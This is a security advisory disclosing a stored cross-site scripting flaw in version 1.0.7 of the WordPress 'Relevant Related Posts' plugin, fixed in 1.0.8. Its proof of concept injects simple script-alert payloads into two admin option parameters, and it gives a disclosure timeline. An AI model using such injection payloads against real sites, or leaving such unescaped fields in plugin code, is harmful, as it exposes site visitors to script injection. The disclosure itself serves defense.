Plugin Name : Relevant Related Posts Plugin Effected Version : 1.0.7 (and most probably lower version's if any) Vulnerability : A3-Cross-Site Scripting (XSS) Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Administrator PoC - (Proof of Concept) : The following fields put the payload as below http://localhost/wp-admin/admin.php?page=related-posts-plugin.php rltdpstsplgn_options[head] = ?><script>alert(1)</script> rltdpstsplgn_options[no_posts] = ?><script>alert(2)</script> Vulnerable Parameter : rltdpstsplgn_options[head], rltdpstsplgn_options[no_posts] Type of XSS : Stored Fixed in : 1.0.8 http://wordpress.org/plugins/relevant/changelog/ Disclosure Timeline Vendor Contacted : 2014-08-04 Plugin Status : Updated on 2014-08-07 Public Disclosure : October 3, 2015 CVE Number : Not assigned yet Plugin Description : Related Posts Plugin allows to display a list of post titles by the widget or by the shortcode. It displays related posts with similar words in category, tags, title or by adding special meta key for posts. Related Posts Plugin is simple to use and to customize - this is what you are looking for.